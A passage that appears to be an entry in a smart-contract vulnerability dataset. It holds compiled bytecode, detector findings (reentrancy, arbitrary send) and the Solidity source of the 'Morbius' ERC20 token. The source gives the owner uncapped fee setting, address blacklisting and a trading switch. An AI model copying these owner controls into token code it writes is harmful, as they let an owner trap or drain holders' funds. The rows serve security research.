190506127a1565b5050509392505050565b6000813590506127e7816136cf565b92915050565b6000815190506127fc816136cf565b92915050565b600082601f83011261281357600080fd5b813561282384826020860161276c565b91505092915050565b60008135905061283b816136e6565b92915050565b600081519050612850816136e6565b92915050565b600081359050612865816136fd565b92915050565b60008151905061287a816136fd565b92915050565b60006020828403121561289257600080fd5b60006128a0848285016127d8565b91505092915050565b6000602082840312156128bb57600080fd5b60006128c9848285016127ed565b91505092915050565b600080604083850312156128e557600080fd5b60006128f3858286016127d8565b9250506020612904858286016127d8565b9150509250929050565b60008060006060848603121561292357600080fd5b6000612931868287016127d8565b9350506020612942868287016127d8565b925050604061295386828701612856565b9150509250925092565b6000806040838503121561297057600080fd5b600061297e858286016127d8565b925050602061298f85828601612856565b9150509250929050565b6000602082840312156129ab57600080fd5b600082013567ffffffffffffffff8111156129c557600080fd5b6129d184828501612802565b91505092915050565b6000602082840312156129ec57600080fd5b60006129fa8482850161282c565b91505092915050565b600060208284031215612a1557600080fd5b6000612a2384828501612841565b91505092915050565b600060208284031215612a3e57600080fd5b6000612a4c84828501612856565b91505092915050565b600080600060608486031215612a6a57600080fd5b6000612a788682870161286b565b9350506020612a898682870161286b565b9250506040612a9a8682870161286b565b9150509250925092565b6000612ab08383612abc565b60208301905092915050565b612ac581613227565b82525050565b612ad481613227565b82525050565b6000612ae5826130cd565b612aef81856130f0565b9350612afa836130bd565b8060005b83811015612b2b578151612b128882612aa4565b9750612b1d836130e3565b925050600181019050612afe565b5085935050505092915050565b612b4181613239565b82525050565b612b508161327c565b82525050565b6000612b61826130d8565b612b6b8185613101565b9350612b7b81856020860161328e565b612b84816133c8565b840191505092915050565b6000612b9c602383613101565b9150612ba7826133d9565b604082019050919050565b6000612bbf601a83613101565b9150612bca82613428565b602082019050919050565b6000612be2602a83613101565b9150612bed82613451565b604082019050919050565b6000612c05602283613101565b9150612c10826134a0565b604082019050919050565b6000612c28601b83613101565b9150612c33826134ef565b602082019050919050565b6000612c4b601d83613101565b9150612c5682613518565b602082019050919050565b6000612c6e602183613101565b9150612c7982613541565b604082019050919050565b6000612c91602083613101565b9150612c9c82613590565b602082019050919050565b6000612cb4602983613101565b9150612cbf826135b9565b604082019050919050565b6000612cd7602583613101565b9150612ce282613608565b604082019050919050565b6000612cfa602483613101565b9150612d0582613657565b604082019050919050565b6000612d1d601183613101565b9150612d28826136a6565b602082019050919050565b612d3c81613265565b82525050565b612d4b8161326f565b82525050565b6000602082019050612d666000830184612acb565b92915050565b6000604082019050612d816000830185612acb565b612d8e6020830184612acb565b9392505050565b6000604082019050612daa6000830185612acb565b612db76020830184612d33565b9392505050565b600060c082019050612dd36000830189612acb565b612de06020830188612d33565b612ded6040830187612b47565b612dfa6060830186612b47565b612e076080830185612acb565b612e1460a0830184612d33565b979650505050505050565b6000602082019050612e346000830184612b38565b92915050565b60006020820190508181036000830152612e548184612b56565b905092915050565b60006020820190508181036000830152612e7581612b8f565b9050919050565b60006020820190508181036000830152612e9581612bb2565b9050919050565b60006020820190508181036000830152612eb581612bd5565b9050919050565b60006020820190508181036000830152612ed581612bf8565b9050919050565b60006020820190508181036000830152612ef581612c1b565b9050919050565b60006020820190508181036000830152612f1581612c3e565b9050919050565b60006020820190508181036000830152612f3581612c61565b9050919050565b60006020820190508181036000830152612f5581612c84565b9050919050565b60006020820190508181036000830152612f7581612ca7565b9050919050565b60006020820190508181036000830152612f9581612cca565b9050919050565b60006020820190508181036000830152612fb581612ced565b9050919050565b60006020820190508181036000830152612fd581612d10565b9050919050565b6000602082019050612ff16000830184612d33565b92915050565b600060a08201905061300c6000830188612d33565b6130196020830187612b47565b818103604083015261302b8186612ada565b905061303a6060830185612acb565b6130476080830184612d33565b9695505050505050565b60006020820190506130666000830184612d42565b92915050565b6000613076613087565b905061308282826132c1565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ac576130ab613399565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061311d82613265565b915061312883613265565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315d5761315c61333b565b5b828201905092915050565b600061317382613265565b915061317e83613265565b92508261318e5761318d61336a565b5b828204905092915050565b60006131a482613265565b91506131af83613265565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e8576131e761333b565b5b828202905092915050565b60006131fe82613265565b915061320983613265565b92508282101561321c5761321b61333b565b5b828203905092915050565b600061323282613245565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328782613265565b9050919050565b60005b838110156132ac578082015181840152602081019050613291565b838111156132bb576000848401525b50505050565b6132ca826133c8565b810181811067ffffffffffffffff821117156132e9576132e8613399565b5b80604052505050565b60006132fd82613265565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133305761332f61333b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136d881613227565b81146136e357600080fd5b50565b6136ef81613239565b81146136fa57600080fd5b50565b61370681613265565b811461371157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039ad75cc1bbc0b201de0ed1c0b1e5d35417cca3407161344f5d0d34e9a4db50064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,177
0x5b23E67D6E318fBA56A28bc40F31c14c49feD1bF
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ /* TG: https://t.me/morbiustoken WEB: https://www.morbiustoken.net/ TWITTER: https://twitter.com/Morbiustoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Morbius is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Morbius"; string private constant _symbol = "MORB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xfA6594f4A7fA38c50098e0e7c719972966d50E82); address payable private _marketingAddress = payable(0xfA6594f4A7fA38c50098e0e7c719972966d50E82); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 3000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104ae57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105f9565b005b34801561020a57600080fd5b506040805180820190915260078152664d6f726269757360c81b60208201525b6040516102379190611a24565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a79565b610698565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b5068056bc75e2d631000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611aa5565b6106af565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601554610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae6565b610718565b34801561036c57600080fd5b506101fc61037b366004611b13565b610763565b34801561038c57600080fd5b506101fc6107ab565b3480156103a157600080fd5b506102c06103b0366004611ae6565b6107f6565b3480156103c157600080fd5b506101fc610818565b3480156103d657600080fd5b506101fc6103e5366004611b2e565b61088c565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae6565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610290565b34801561045757600080fd5b506101fc610466366004611b13565b6108bb565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b5060408051808201909152600481526326a7a92160e11b602082015261022a565b3480156104ba57600080fd5b506101fc6104c9366004611b2e565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b47565b610932565b3480156104fa57600080fd5b50610260610509366004611a79565b610970565b34801561051a57600080fd5b50610260610529366004611ae6565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b79565b6109d1565b34801561057f57600080fd5b506102c061058e366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2e565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae6565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c36565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c97565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c36565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c36565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c36565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c36565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c6b565b9050602002016020810190610a329190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c97565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c36565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c36565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cb2565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a24565b50600061121c8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce1565b816001815181106113ca576113ca611c6b565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611733565b6001600160a01b0389166000908152600260205260409020556115c281611792565b6115cc84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061164082826114bd565b82101561165d5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106239190611a24565b50600061121c8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149a565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b6000806117408385611cb2565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179c61149a565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bd565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565